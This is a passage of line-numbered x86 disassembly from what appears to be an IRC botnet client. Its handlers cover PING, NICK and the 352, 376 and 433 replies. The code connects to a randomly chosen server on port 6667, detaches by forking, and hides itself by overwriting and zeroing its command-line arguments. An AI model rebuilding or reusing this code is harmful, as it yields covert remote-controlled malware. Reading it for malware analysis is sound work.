  1271. 08049da1: cmp -0x10(%ebp),%eax
  1272. 08049da4: jl 0x08049d8b <_PRIVMSG+0x46b>
  1273. 08049da6: jmp 0x08049dbe <_PRIVMSG+0x49e>
  1274. 08049da8: addl $0x1,-0xc(%ebp)
  1275. 08049dac: mov -0xc(%ebp),%eax
  1276. 08049daf: mov 0x804c280(,%eax,8),%eax
  1277. 08049db6: test %eax,%eax
  1278. 08049db8: jne 0x08049d38 <_PRIVMSG+0x418>
  1279. 08049dbe: add $0x864,%esp
  1280. 08049dc4: pop %ebx
  1281. 08049dc5: pop %ebp
  1282. 08049dc6: ret
  1283. 08049dc7: mov %esi,%esi
  1284. 08049dc9: lea 0x0(%edi),%edi
  1285.  
  1286. # 08049dd0 <_376>:
  1287. 08049dd0: push %ebp
  1288. 08049dd1: mov %esp,%ebp
  1289. 08049dd3: sub $0x18,%esp
  1290. 08049dd6: mov 0x804c764,%eax
  1291. 08049ddb: mov %eax,0x8(%esp)
  1292. 08049ddf: movl $0x804af30,0x4(%esp)
  1293. 08049de7: mov 0x8(%ebp),%eax
  1294. 08049dea: mov %eax,(%esp)
  1295. 08049ded: call 0x08048fc0 <send_msg>
  1296. 08049df2: mov 0x804c880,%eax
  1297. 08049df7: mov 0x804c9a0,%edx
  1298. 08049dfd: mov %eax,0xc(%esp)
  1299. 08049e01: mov %edx,0x8(%esp)
  1300. 08049e05: movl $0x804af3d,0x4(%esp)
  1301. 08049e0d: mov 0x8(%ebp),%eax
  1302. 08049e10: mov %eax,(%esp)
  1303. 08049e13: call 0x08048fc0 <send_msg>
  1304. 08049e18: mov 0x804c764,%eax
  1305. 08049e1d: mov %eax,0x8(%esp)
  1306. 08049e21: movl $0x804af4a,0x4(%esp)
  1307. 08049e29: mov 0x8(%ebp),%eax
  1308. 08049e2c: mov %eax,(%esp)
  1309. 08049e2f: call 0x08048fc0 <send_msg>
  1310. 08049e34: leave
  1311. 08049e35: ret
  1312. 08049e36: lea 0x0(%esi),%esi
  1313. 08049e39: lea 0x0(%edi),%edi
  1314.  
  1315. # 08049e40 <_PING>:
  1316. 08049e40: push %ebp
  1317. 08049e41: mov %esp,%ebp
  1318. 08049e43: sub $0x18,%esp
  1319. 08049e46: mov 0x10(%ebp),%eax
  1320. 08049e49: mov %eax,0x8(%esp)
  1321. 08049e4d: movl $0x804af52,0x4(%esp)
  1322. 08049e55: mov 0x8(%ebp),%eax
  1323. 08049e58: mov %eax,(%esp)
  1324. 08049e5b: call 0x08048fc0 <send_msg>
  1325. 08049e60: leave
  1326. 08049e61: ret
  1327. 08049e62: lea 0x0(%esi),%esi
  1328. 08049e69: lea 0x0(%edi),%edi
  1329.  
  1330. # 08049e70 <_352>:
  1331. 08049e70: push %ebp
  1332. 08049e71: mov %esp,%ebp
  1333. 08049e73: push %ebx
  1334. 08049e74: sub $0x34,%esp
  1335. 08049e77: mov 0x10(%ebp),%eax
  1336. 08049e7a: mov %eax,-0xc(%ebp)
  1337. 08049e7d: movl $0x0,-0x14(%ebp)
  1338. 08049e84: movl $0x0,-0x10(%ebp)
  1339. 08049e8b: jmp 0x08049ecf <_352+0x5f>
  1340. 08049e8d: addl $0x1,-0xc(%ebp)
  1341. 08049e91: addl $0x1,-0x14(%ebp)
  1342. 08049e95: mov -0x14(%ebp),%ebx
  1343. 08049e98: mov 0x10(%ebp),%eax
  1344. 08049e9b: mov %eax,(%esp)
  1345. 08049e9e: call 0x08048b84 <strlen@plt>
  1346. 08049ea3: cmp %eax,%ebx
  1347. 08049ea5: jae 0x08049eb1 <_352+0x41>
  1348. 08049ea7: mov -0xc(%ebp),%eax
  1349. 08049eaa: movzbl (%eax),%eax
  1350. 08049ead: cmp $0x20,%al
  1351. 08049eaf: jne 0x08049e8d <_352+0x1d>
  1352. 08049eb1: addl $0x1,-0xc(%ebp)
  1353. 08049eb5: mov -0x14(%ebp),%ebx
  1354. 08049eb8: mov 0x10(%ebp),%eax
  1355. 08049ebb: mov %eax,(%esp)
  1356. 08049ebe: call 0x08048b84 <strlen@plt>
  1357. 08049ec3: cmp %eax,%ebx
  1358. 08049ec5: je 0x0804a077 <_352+0x207>
  1359. 08049ecb: addl $0x1,-0x10(%ebp)
  1360. 08049ecf: cmpl $0x4,-0x10(%ebp)
  1361. 08049ed3: jle 0x08049e95 <_352+0x25>
  1362. 08049ed5: movl $0x0,-0x14(%ebp)
  1363. 08049edc: jmp 0x08049ee2 <_352+0x72>
  1364. 08049ede: addl $0x1,-0x14(%ebp)
  1365. 08049ee2: mov -0x14(%ebp),%ebx
  1366. 08049ee5: mov -0xc(%ebp),%eax
  1367. 08049ee8: mov %eax,(%esp)
  1368. 08049eeb: call 0x08048b84 <strlen@plt>
  1369. 08049ef0: cmp %eax,%ebx
  1370. 08049ef2: jae 0x08049f01 <_352+0x91>
  1371. 08049ef4: mov -0x14(%ebp),%eax
  1372. 08049ef7: add -0xc(%ebp),%eax
  1373. 08049efa: movzbl (%eax),%eax
  1374. 08049efd: cmp $0x20,%al
  1375. 08049eff: jne 0x08049ede <_352+0x6e>
  1376. 08049f01: mov -0x14(%ebp),%eax
  1377. 08049f04: add -0xc(%ebp),%eax
  1378. 08049f07: movb $0x0,(%eax)
  1379. 08049f0a: mov 0x804c764,%eax
  1380. 08049f0f: mov %eax,0x4(%esp)
  1381. 08049f13: mov -0xc(%ebp),%eax
  1382. 08049f16: mov %eax,(%esp)
  1383. 08049f19: call 0x08048bf4 <strcasecmp@plt>
  1384. 08049f1e: test %eax,%eax
  1385. 08049f20: jne 0x0804a077 <_352+0x207>
  1386. 08049f26: mov 0x804c328,%eax
  1387. 08049f2b: test %eax,%eax
  1388. 08049f2d: jne 0x0804a077 <_352+0x207>
  1389. 08049f33: mov 0x10(%ebp),%eax
  1390. 08049f36: mov %eax,-0xc(%ebp)
  1391. 08049f39: movl $0x0,-0x14(%ebp)
  1392. 08049f40: movl $0x0,-0x10(%ebp)
  1393. 08049f47: jmp 0x08049f8b <_352+0x11b>
  1394. 08049f49: addl $0x1,-0xc(%ebp)
  1395. 08049f4d: addl $0x1,-0x14(%ebp)
  1396. 08049f51: mov -0x14(%ebp),%ebx
  1397. 08049f54: mov 0x10(%ebp),%eax
  1398. 08049f57: mov %eax,(%esp)
  1399. 08049f5a: call 0x08048b84 <strlen@plt>
  1400. 08049f5f: cmp %eax,%ebx
  1401. 08049f61: jae 0x08049f6d <_352+0xfd>
  1402. 08049f63: mov -0xc(%ebp),%eax
  1403. 08049f66: movzbl (%eax),%eax
  1404. 08049f69: cmp $0x20,%al
  1405. 08049f6b: jne 0x08049f49 <_352+0xd9>
  1406. 08049f6d: addl $0x1,-0xc(%ebp)
  1407. 08049f71: mov -0x14(%ebp),%ebx
  1408. 08049f74: mov 0x10(%ebp),%eax
  1409. 08049f77: mov %eax,(%esp)
  1410. 08049f7a: call 0x08048b84 <strlen@plt>
  1411. 08049f7f: cmp %eax,%ebx
  1412. 08049f81: je 0x0804a077 <_352+0x207>
  1413. 08049f87: addl $0x1,-0x10(%ebp)
  1414. 08049f8b: cmpl $0x2,-0x10(%ebp)
  1415. 08049f8f: jle 0x08049f51 <_352+0xe1>
  1416. 08049f91: movl $0x0,-0x14(%ebp)
  1417. 08049f98: jmp 0x08049f9e <_352+0x12e>
  1418. 08049f9a: addl $0x1,-0x14(%ebp)
  1419. 08049f9e: mov -0x14(%ebp),%ebx
  1420. 08049fa1: mov -0xc(%ebp),%eax
  1421. 08049fa4: mov %eax,(%esp)
  1422. 08049fa7: call 0x08048b84 <strlen@plt>
  1423. 08049fac: cmp %eax,%ebx
  1424. 08049fae: jae 0x08049fbd <_352+0x14d>
  1425. 08049fb0: mov -0x14(%ebp),%eax
  1426. 08049fb3: add -0xc(%ebp),%eax
  1427. 08049fb6: movzbl (%eax),%eax
  1428. 08049fb9: cmp $0x20,%al
  1429. 08049fbb: jne 0x08049f9a <_352+0x12a>
  1430. 08049fbd: mov -0x14(%ebp),%eax
  1431. 08049fc0: add -0xc(%ebp),%eax
  1432. 08049fc3: movb $0x0,(%eax)
  1433. 08049fc6: mov -0xc(%ebp),%eax
  1434. 08049fc9: mov %eax,(%esp)
  1435. 08049fcc: call 0x08048a94 <__inet_addr@plt>
  1436. 08049fd1: mov %eax,-0x18(%ebp)
  1437. 08049fd4: mov -0x18(%ebp),%eax
  1438. 08049fd7: cmp $0xffffffff,%eax
  1439. 08049fda: jne 0x0804a02f <_352+0x1bf>
  1440. 08049fdc: mov -0xc(%ebp),%eax
  1441. 08049fdf: mov %eax,(%esp)
  1442. 08049fe2: call 0x08048c14 <gethostbyname@plt>
  1443. 08049fe7: mov %eax,-0x8(%ebp)
  1444. 08049fea: cmpl $0x0,-0x8(%ebp)
  1445. 08049fee: jne 0x0804a00c <_352+0x19c>
  1446. 08049ff0: mov 0xc(%ebp),%eax
  1447. 08049ff3: mov %eax,0x8(%esp)
  1448. 08049ff7: movl $0x804af5c,0x4(%esp)
  1449. 08049fff: mov 0x8(%ebp),%eax
  1450. 0804a002: mov %eax,(%esp)
  1451. 0804a005: call 0x08048fc0 <send_msg>
  1452. 0804a00a: jmp 0x0804a077 <_352+0x207>
  1453. 0804a00c: mov -0x8(%ebp),%eax
  1454. 0804a00f: mov 0xc(%eax),%eax
  1455. 0804a012: mov %eax,%edx
  1456. 0804a014: mov -0x8(%ebp),%eax
  1457. 0804a017: mov 0x10(%eax),%eax
  1458. 0804a01a: mov (%eax),%eax
  1459. 0804a01c: mov %edx,0x8(%esp)
  1460. 0804a020: mov %eax,0x4(%esp)
  1461. 0804a024: lea -0x18(%ebp),%eax
  1462. 0804a027: mov %eax,(%esp)
  1463. 0804a02a: call 0x08048c64 <memcpy@plt>
  1464. 0804a02f: mov $0x804c324,%eax
  1465. 0804a034: lea 0x3(%eax),%edx
  1466. 0804a037: lea -0x18(%ebp),%eax
  1467. 0804a03a: movzbl (%eax),%eax
  1468. 0804a03d: mov %al,(%edx)
  1469. 0804a03f: mov $0x804c324,%eax
  1470. 0804a044: lea 0x2(%eax),%edx
  1471. 0804a047: lea -0x18(%ebp),%eax
  1472. 0804a04a: add $0x1,%eax
  1473. 0804a04d: movzbl (%eax),%eax
  1474. 0804a050: mov %al,(%edx)
  1475. 0804a052: mov $0x804c324,%eax
  1476. 0804a057: lea 0x1(%eax),%edx
  1477. 0804a05a: lea -0x18(%ebp),%eax
  1478. 0804a05d: add $0x2,%eax
  1479. 0804a060: movzbl (%eax),%eax
  1480. 0804a063: mov %al,(%edx)
  1481. 0804a065: mov $0x804c324,%eax
  1482. 0804a06a: movb $0x0,(%eax)
  1483. 0804a06d: movl $0x100,0x804c328
  1484. 0804a077: add $0x34,%esp
  1485. 0804a07a: pop %ebx
  1486. 0804a07b: pop %ebp
  1487. 0804a07c: ret
  1488. 0804a07d: lea 0x0(%esi),%esi
  1489.  
  1490. # 0804a080 <_433>:
  1491. 0804a080: push %ebp
  1492. 0804a081: mov %esp,%ebp
  1493. 0804a083: sub $0x8,%esp
  1494. 0804a086: mov 0x804c764,%eax
  1495. 0804a08b: mov %eax,(%esp)
  1496. 0804a08e: call 0x08048d04 <free@plt>
  1497. 0804a093: call 0x08049120 <makestring>
  1498. 0804a098: mov %eax,0x804c764
  1499. 0804a09d: leave
  1500. 0804a09e: ret
  1501. 0804a09f: nop
  1502.  
  1503. # 0804a0a0 <_NICK>:
  1504. 0804a0a0: push %ebp
  1505. 0804a0a1: mov %esp,%ebp
  1506. 0804a0a3: push %ebx
  1507. 0804a0a4: sub $0x24,%esp
  1508. 0804a0a7: movl $0x0,-0x8(%ebp)
  1509. 0804a0ae: jmp 0x0804a0b4 <_NICK+0x14>
  1510. 0804a0b0: addl $0x1,-0x8(%ebp)
  1511. 0804a0b4: mov -0x8(%ebp),%ebx
  1512. 0804a0b7: mov 0xc(%ebp),%eax
  1513. 0804a0ba: mov %eax,(%esp)
  1514. 0804a0bd: call 0x08048b84 <strlen@plt>
  1515. 0804a0c2: cmp %eax,%ebx
  1516. 0804a0c4: jae 0x0804a0d3 <_NICK+0x33>
  1517. 0804a0c6: mov -0x8(%ebp),%eax
  1518. 0804a0c9: add 0xc(%ebp),%eax
  1519. 0804a0cc: movzbl (%eax),%eax
  1520. 0804a0cf: cmp $0x21,%al
  1521. 0804a0d1: jne 0x0804a0b0 <_NICK+0x10>
  1522. 0804a0d3: mov -0x8(%ebp),%eax
  1523. 0804a0d6: add 0xc(%ebp),%eax
  1524. 0804a0d9: movb $0x0,(%eax)
  1525. 0804a0dc: mov 0x804c764,%eax
  1526. 0804a0e1: mov %eax,0x4(%esp)
  1527. 0804a0e5: mov 0xc(%ebp),%eax
  1528. 0804a0e8: mov %eax,(%esp)
  1529. 0804a0eb: call 0x08048bf4 <strcasecmp@plt>
  1530. 0804a0f0: test %eax,%eax
  1531. 0804a0f2: jne 0x0804a128 <_NICK+0x88>
  1532. 0804a0f4: mov 0x10(%ebp),%eax
  1533. 0804a0f7: movzbl (%eax),%eax
  1534. 0804a0fa: cmp $0x3a,%al
  1535. 0804a0fc: jne 0x0804a102 <_NICK+0x62>
  1536. 0804a0fe: addl $0x1,0x10(%ebp)
  1537. 0804a102: mov 0x804c764,%eax
  1538. 0804a107: test %eax,%eax
  1539. 0804a109: je 0x0804a118 <_NICK+0x78>
  1540. 0804a10b: mov 0x804c764,%eax
  1541. 0804a110: mov %eax,(%esp)
  1542. 0804a113: call 0x08048d04 <free@plt>
  1543. 0804a118: mov 0x10(%ebp),%eax
  1544. 0804a11b: mov %eax,(%esp)
  1545. 0804a11e: call 0x08048b34 <strdup@plt>
  1546. 0804a123: mov %eax,0x804c764
  1547. 0804a128: add $0x24,%esp
  1548. 0804a12b: pop %ebx
  1549. 0804a12c: pop %ebp
  1550. 0804a12d: ret
  1551. 0804a12e: xchg %ax,%ax
  1552.  
  1553. # 0804a130 <con>:
  1554. 0804a130: push %ebp
  1555. 0804a131: mov %esp,%ebp
  1556. 0804a133: sub $0x38,%esp
  1557. 0804a136: movl $0xffffffff,0x804c760
  1558. 0804a140: movl $0x1,-0x20(%ebp)
  1559. 0804a147: mov 0x804c320,%eax
  1560. 0804a14c: test %eax,%eax
  1561. 0804a14e: jne 0x0804a173 <con+0x43>
  1562. 0804a150: call 0x08048b14 <rand@plt>
  1563. 0804a155: mov %eax,%edx
  1564. 0804a157: mov 0x804c260,%eax
  1565. 0804a15c: mov %eax,%ecx
  1566. 0804a15e: mov %edx,%eax
  1567. 0804a160: sar $0x1f,%edx
  1568. 0804a163: idiv %ecx
  1569. 0804a165: mov %edx,%eax
  1570. 0804a167: mov 0x804c264(,%eax,4),%eax
  1571. 0804a16e: mov %eax,0x804c888
  1572. 0804a173: movl $0x0,0x804c320
  1573. 0804a17d: movl $0x6,0x8(%esp)
  1574. 0804a185: movl $0x1,0x4(%esp)
  1575. 0804a18d: movl $0x2,(%esp)
  1576. 0804a194: call 0x08048ae4 <socket@plt>
  1577. 0804a199: mov %eax,0x804c760
  1578. 0804a19e: mov 0x804c760,%eax
  1579. 0804a1a3: test %eax,%eax
  1580. 0804a1a5: js 0x0804a17d <con+0x4d>
  1581. 0804a1a7: mov 0x804c888,%eax
  1582. 0804a1ac: mov %eax,(%esp)
  1583. 0804a1af: call 0x08048a94 <__inet_addr@plt>
  1584. 0804a1b4: test %eax,%eax
  1585. 0804a1b6: je 0x0804a1ca <con+0x9a>
  1586. 0804a1b8: mov 0x804c888,%eax
  1587. 0804a1bd: mov %eax,(%esp)
  1588. 0804a1c0: call 0x08048a94 <__inet_addr@plt>
  1589. 0804a1c5: cmp $0xffffffff,%eax
  1590. 0804a1c8: jne 0x0804a224 <con+0xf4>
  1591. 0804a1ca: mov 0x804c888,%eax
  1592. 0804a1cf: mov %eax,(%esp)
  1593. 0804a1d2: call 0x08048c14 <gethostbyname@plt>
  1594. 0804a1d7: mov %eax,-0x4(%ebp)
  1595. 0804a1da: cmpl $0x0,-0x4(%ebp)
  1596. 0804a1de: jne 0x0804a1fc <con+0xcc>
  1597. 0804a1e0: movl $0x0,0x804c888
  1598. 0804a1ea: mov 0x804c760,%eax
  1599. 0804a1ef: mov %eax,(%esp)
  1600. 0804a1f2: call 0x08048b54 <close@plt>
  1601. 0804a1f7: jmp 0x0804a136 <con+0x6>
  1602. 0804a1fc: mov -0x4(%ebp),%eax
  1603. 0804a1ff: mov 0xc(%eax),%eax
  1604. 0804a202: mov %eax,%edx
  1605. 0804a204: mov -0x4(%ebp),%eax
  1606. 0804a207: mov 0x10(%eax),%eax
  1607. 0804a20a: mov (%eax),%ecx
  1608. 0804a20c: mov %edx,0x8(%esp)
  1609. 0804a210: lea -0x1c(%ebp),%eax
  1610. 0804a213: add $0x4,%eax
  1611. 0804a216: mov %eax,0x4(%esp)
  1612. 0804a21a: mov %ecx,(%esp)
  1613. 0804a21d: call 0x08048c44 <bcopy@plt>
  1614. 0804a222: jmp 0x0804a234 <con+0x104>
  1615. 0804a224: mov 0x804c888,%eax
  1616. 0804a229: mov %eax,(%esp)
  1617. 0804a22c: call 0x08048a94 <__inet_addr@plt>
  1618. 0804a231: mov %eax,-0x18(%ebp)
  1619. 0804a234: movb $0x2,-0x1b(%ebp)
  1620. 0804a238: movw $0xb1a,-0x1a(%ebp)
  1621. 0804a23e: mov 0x804c760,%eax
  1622. 0804a243: lea -0x20(%ebp),%edx
  1623. 0804a246: mov %edx,0x8(%esp)
  1624. 0804a24a: movl $0x8004667e,0x4(%esp)
  1625. 0804a252: mov %eax,(%esp)
  1626. 0804a255: call 0x08048c04 <ioctl@plt>
  1627. 0804a25a: movl $0x0,(%esp)
  1628. 0804a261: call 0x08048be4 <time@plt>
  1629. 0804a266: mov %eax,-0x8(%ebp)
  1630. 0804a269: jmp 0x0804a357 <con+0x227>
  1631. 0804a26e: call 0x08048c34 <__error@plt>
  1632. 0804a273: movl $0x0,(%eax)
  1633. 0804a279: lea -0x1c(%ebp),%eax
  1634. 0804a27c: mov 0x804c760,%edx
  1635. 0804a282: movl $0x10,0x8(%esp)
  1636. 0804a28a: mov %eax,0x4(%esp)
  1637. 0804a28e: mov %edx,(%esp)
  1638. 0804a291: call 0x08048af4 <connect@plt>
  1639. 0804a296: test %eax,%eax
  1640. 0804a298: je 0x0804a2aa <con+0x17a>
  1641. 0804a29a: call 0x08048c34 <__error@plt>
  1642. 0804a29f: mov (%eax),%eax
  1643. 0804a2a1: cmp $0x38,%eax
  1644. 0804a2a4: jne 0x0804a333 <con+0x203>
  1645. 0804a2aa: mov 0x804c760,%eax
  1646. 0804a2af: movl $0x0,0x10(%esp)
  1647. 0804a2b7: movl $0x0,0xc(%esp)
  1648. 0804a2bf: movl $0x80,0x8(%esp)
  1649. 0804a2c7: movl $0xffff,0x4(%esp)
  1650. 0804a2cf: mov %eax,(%esp)
  1651. 0804a2d2: call 0x08048b94 <setsockopt@plt>
  1652. 0804a2d7: mov 0x804c760,%eax
  1653. 0804a2dc: movl $0x0,0x10(%esp)
  1654. 0804a2e4: movl $0x0,0xc(%esp)
  1655. 0804a2ec: movl $0x4,0x8(%esp)
  1656. 0804a2f4: movl $0xffff,0x4(%esp)
  1657. 0804a2fc: mov %eax,(%esp)
  1658. 0804a2ff: call 0x08048b94 <setsockopt@plt>
  1659. 0804a304: mov 0x804c760,%eax
  1660. 0804a309: movl $0x0,0x10(%esp)
  1661. 0804a311: movl $0x0,0xc(%esp)
  1662. 0804a319: movl $0x8,0x8(%esp)
  1663. 0804a321: movl $0xffff,0x4(%esp)
  1664. 0804a329: mov %eax,(%esp)
  1665. 0804a32c: call 0x08048b94 <setsockopt@plt>
  1666. 0804a331: jmp 0x0804a38b <con+0x25b>
  1667. 0804a333: call 0x08048c34 <__error@plt>
  1668. 0804a338: mov (%eax),%eax
  1669. 0804a33a: cmp $0x24,%eax
  1670. 0804a33d: je 0x0804a34b <con+0x21b>
  1671. 0804a33f: call 0x08048c34 <__error@plt>
  1672. 0804a344: mov (%eax),%eax
  1673. 0804a346: cmp $0x25,%eax
  1674. 0804a349: jne 0x0804a36f <con+0x23f>
  1675. 0804a34b: movl $0x1,(%esp)
  1676. 0804a352: call 0x08048c54 <sleep@plt>
  1677. 0804a357: movl $0x0,(%esp)
  1678. 0804a35e: call 0x08048be4 <time@plt>
  1679. 0804a363: sub -0x8(%ebp),%eax
  1680. 0804a366: cmp $0x9,%eax
  1681. 0804a369: jbe 0x0804a26e <con+0x13e>
  1682. 0804a36f: movl $0x0,0x804c888
  1683. 0804a379: mov 0x804c760,%eax
  1684. 0804a37e: mov %eax,(%esp)
  1685. 0804a381: call 0x08048b54 <close@plt>
  1686. 0804a386: jmp 0x0804a136 <con+0x6>
  1687. 0804a38b: leave
  1688. 0804a38c: ret
  1689. 0804a38d: lea 0x0(%esi),%esi
  1690.  
  1691. # 0804a390 <lockfile>:
  1692. 0804a390: push %ebp
  1693. 0804a391: mov %esp,%ebp
  1694. 0804a393: sub $0x28,%esp
  1695. 0804a396: movl $0x1b6,0x8(%esp)
  1696. 0804a39e: movl $0x202,0x4(%esp)
  1697. 0804a3a6: movl $0x804afd7,(%esp)
  1698. 0804a3ad: call 0x08048a44 <open@plt>
  1699. 0804a3b2: mov %eax,-0x8(%ebp)
  1700. 0804a3b5: movl $0x6,0x4(%esp)
  1701. 0804a3bd: mov -0x8(%ebp),%eax
  1702. 0804a3c0: mov %eax,(%esp)
  1703. 0804a3c3: call 0x08048cd4 <flock@plt>
  1704. 0804a3c8: mov %eax,-0x4(%ebp)
  1705. 0804a3cb: cmpl $0x0,-0x4(%ebp)
  1706. 0804a3cf: je 0x0804a3f5 <lockfile+0x65>
  1707. 0804a3d1: call 0x08048c34 <__error@plt>
  1708. 0804a3d6: mov (%eax),%eax
  1709. 0804a3d8: cmp $0x23,%eax
  1710. 0804a3db: jne 0x0804a3f5 <lockfile+0x65>
  1711. 0804a3dd: movl $0x804afe4,(%esp)
  1712. 0804a3e4: call 0x08048aa4 <printf@plt>
  1713. 0804a3e9: movl $0x0,(%esp)
  1714. 0804a3f0: call 0x08048cb4 <exit@plt>
  1715. 0804a3f5: leave
  1716. 0804a3f6: ret
  1717. 0804a3f7: mov %esi,%esi
  1718. 0804a3f9: lea 0x0(%edi),%edi
  1719.  
  1720. # 0804a400 <main>:
  1721. 0804a400: lea 0x4(%esp),%ecx
  1722. 0804a404: and $0xfffffff0,%esp
  1723. 0804a407: pushl -0x4(%ecx)
  1724. 0804a40a: push %ebp
  1725. 0804a40b: mov %esp,%ebp
  1726. 0804a40d: push %ebx
  1727. 0804a40e: push %ecx
  1728. 0804a40f: sub $0x19e0,%esp
  1729. 0804a415: mov %ecx,-0x19cc(%ebp)
  1730. 0804a41b: call 0x0804a390 <lockfile>
  1731. 0804a420: call 0x08048a84 <fork@plt>
  1732. 0804a425: test %eax,%eax
  1733. 0804a427: je 0x0804a435 <main+0x35>
  1734. 0804a429: movl $0x0,(%esp)
  1735. 0804a430: call 0x08048cb4 <exit@plt>
  1736. 0804a435: mov -0x19cc(%ebp),%edx
  1737. 0804a43b: mov 0x4(%edx),%eax
  1738. 0804a43e: mov (%eax),%eax
  1739. 0804a440: mov %eax,(%esp)
  1740. 0804a443: call 0x08048b84 <strlen@plt>
  1741. 0804a448: mov %eax,%edx
  1742. 0804a44a: mov -0x19cc(%ebp),%ecx
  1743. 0804a450: mov 0x4(%ecx),%eax
  1744. 0804a453: mov (%eax),%eax
  1745. 0804a455: mov %edx,0x8(%esp)
  1746. 0804a459: movl $0x804affd,0x4(%esp)
  1747. 0804a461: mov %eax,(%esp)
  1748. 0804a464: call 0x08048c24 <strncpy@plt>
  1749. 0804a469: movl $0x1,-0x34(%ebp)
  1750. 0804a470: jmp 0x0804a4b6 <main+0xb6>
  1751. 0804a472: mov -0x34(%ebp),%eax
  1752. 0804a475: shl $0x2,%eax
  1753. 0804a478: mov -0x19cc(%ebp),%edx
  1754. 0804a47e: add 0x4(%edx),%eax
  1755. 0804a481: mov (%eax),%eax
  1756. 0804a483: mov %eax,(%esp)
  1757. 0804a486: call 0x08048b84 <strlen@plt>
  1758. 0804a48b: mov %eax,%edx
  1759. 0804a48d: mov -0x34(%ebp),%eax
  1760. 0804a490: shl $0x2,%eax
  1761. 0804a493: mov -0x19cc(%ebp),%ecx
  1762. 0804a499: add 0x4(%ecx),%eax
  1763. 0804a49c: mov (%eax),%eax
  1764. 0804a49e: mov %edx,0x8(%esp)
  1765. 0804a4a2: movl $0x0,0x4(%esp)
  1766. 0804a4aa: mov %eax,(%esp)
  1767. 0804a4ad: call 0x08048c94 <memset@plt>
  1768. 0804a4b2: addl $0x1,-0x34(%ebp)
  1769. 0804a4b6: mov -0x34(%ebp),%eax
  1770. 0804a4b9: mov -0x19cc(%ebp),%edx
  1771. 0804a4bf: cmp (%edx),%eax
  1772. 0804a4c1: jl 0x0804a472 <main+0x72>
  1773. 0804a4c3: movl $0x0,(%esp)
  1774. 0804a4ca: call 0x08048be4 <time@plt>
  1775. 0804a4cf: mov %eax,%ebx
  1776. 0804a4d1: call 0x08048c84 <getpid@plt>
  1777. 0804a4d6: xor %eax,%ebx
  1778. 0804a4d8: call 0x08048a34 <getppid@plt>
  1779. 0804a4dd: lea (%ebx,%eax,1),%eax
  1780. 0804a4e0: mov %eax,(%esp)
  1781. 0804a4e3: call 0x08048a74 <srand@plt>
  1782. 0804a4e8: call 0x08049120 <makestring>
  1783. 0804a4ed: mov %eax,0x804c764
  1784. 0804a4f2: call 0x08049120 <makestring>
  1785. 0804a4f7: mov %eax,0x804c76c
  1786. 0804a4fc: movl $0x804b004,0x804c884
  1787. 0804a506: movl $0x804b009,0x804c9a0
  1788. 0804a510: movl $0x804b010,0x804c880
  1789. 0804a51a: movl $0x0,0x804c888
  1790. 0804a524: call 0x0804a130 <con>
  1791. 0804a529: mov 0x804c884,%eax
  1792. 0804a52e: mov 0x804c76c,%edx
  1793. 0804a534: mov 0x804c764,%ecx
  1794. 0804a53a: mov 0x804c760,%ebx
  1795. 0804a540: mov %eax,0x10(%esp)
  1796. 0804a544: mov %edx,0xc(%esp)
  1797. 0804a548: mov %ecx,0x8(%esp)
  1798. 0804a54c: movl $0x804b014,0x4(%esp)
  1799. 0804a554: mov %ebx,(%esp)
  1800. 0804a557: call 0x08048fc0 <send_msg>
  1801. 0804a55c: lea -0x1bc(%ebp),%eax
  1802. 0804a562: mov %eax,-0x20(%ebp)
  1803. 0804a565: movl $0x20,-0x1c(%ebp)
  1804. 0804a56c: jmp 0x0804a57f <main+0x17f>
  1805. 0804a56e: subl $0x1,-0x1c(%ebp)
  1806. 0804a572: mov -0x1c(%ebp),%edx
  1807. 0804a575: mov -0x20(%ebp),%eax
  1808. 0804a578: movl $0x0,(%eax,%edx,4)
  1809. 0804a57f: cmpl $0x0,-0x1c(%ebp)
  1810. 0804a583: jne 0x0804a56e <main+0x16e>
  1811. 0804a585: mov 0x804c760,%eax
  1812. 0804a58a: shr $0x5,%eax
  1813. 0804a58d: mov %eax,%ebx
  1814. 0804a58f: mov -0x1bc(%ebp,%eax,4),%edx
  1815. 0804a596: mov 0x804c760,%eax
  1816. 0804a59b: mov %eax,%ecx
  1817. 0804a59d: and $0x1f,%ecx
  1818. 0804a5a0: mov $0x1,%eax
  1819. 0804a5a5: shl %cl,%eax
  1820. 0804a5a7: or %edx,%eax
  1821. 0804a5a9: mov %eax,-0x1bc(%ebp,%ebx,4)
  1822. 0804a5b0: movl $0x4b0,-0x13c(%ebp)
  1823. 0804a5ba: movl $0x0,-0x138(%ebp)
  1824. 0804a5c4: mov 0x804c760,%eax
  1825. 0804a5c9: lea 0x1(%eax),%edx
  1826. 0804a5cc: lea -0x13c(%ebp),%eax
  1827. 0804a5d2: mov %eax,0x10(%esp)
  1828. 0804a5d6: movl $0x0,0xc(%esp)
  1829. 0804a5de: movl $0x0,0x8(%esp)
  1830. 0804a5e6: lea -0x1bc(%ebp),%eax
  1831. 0804a5ec: mov %eax,0x4(%esp)
  1832. 0804a5f0: mov %edx,(%esp)
  1833. 0804a5f3: call 0x08048bb4 <select@plt>
  1834. 0804a5f8: test %eax,%eax
  1835. 0804a5fa: jle 0x0804a524 <main+0x124>
  1836. 0804a600: movl $0x0,-0x24(%ebp)
  1837. 0804a607: jmp 0x0804a705 <main+0x305>
  1838. 0804a60c: mov -0x24(%ebp),%eax
  1839. 0804a60f: shl $0x2,%eax
  1840. 0804a612: mov %eax,%edx
  1841. 0804a614: mov 0x804c768,%eax
  1842. 0804a619: lea (%edx,%eax,1),%eax
  1843. 0804a61c: mov (%eax),%eax
  1844. 0804a61e: movl $0x1,0x8(%esp)
  1845. 0804a626: movl $0x0,0x4(%esp)
  1846. 0804a62e: mov %eax,(%esp)
  1847. 0804a631: call 0x08048b64 <waitpid@plt>
  1848. 0804a636: test %eax,%eax
  1849. 0804a638: jle 0x0804a701 <main+0x301>
  1850. 0804a63e: mov -0x24(%ebp),%eax
  1851. 0804a641: add $0x1,%eax
  1852. 0804a644: mov %eax,-0x14(%ebp)
  1853. 0804a647: jmp 0x0804a672 <main+0x272>
  1854. 0804a649: mov 0x804c768,%eax
  1855. 0804a64e: lea -0x4(%eax),%edx
  1856. 0804a651: mov -0x14(%ebp),%eax
  1857. 0804a654: shl $0x2,%eax
  1858. 0804a657: lea (%edx,%eax,1),%ecx
  1859. 0804a65a: mov -0x14(%ebp),%eax
  1860. 0804a65d: shl $0x2,%eax
  1861. 0804a660: mov %eax,%edx
  1862. 0804a662: mov 0x804c768,%eax
  1863. 0804a667: lea (%edx,%eax,1),%eax
  1864. 0804a66a: mov (%eax),%eax
  1865. 0804a66c: mov %eax,(%ecx)
  1866. 0804a66e: addl $0x1,-0x14(%ebp)
  1867. 0804a672: mov 0x804c32c,%eax
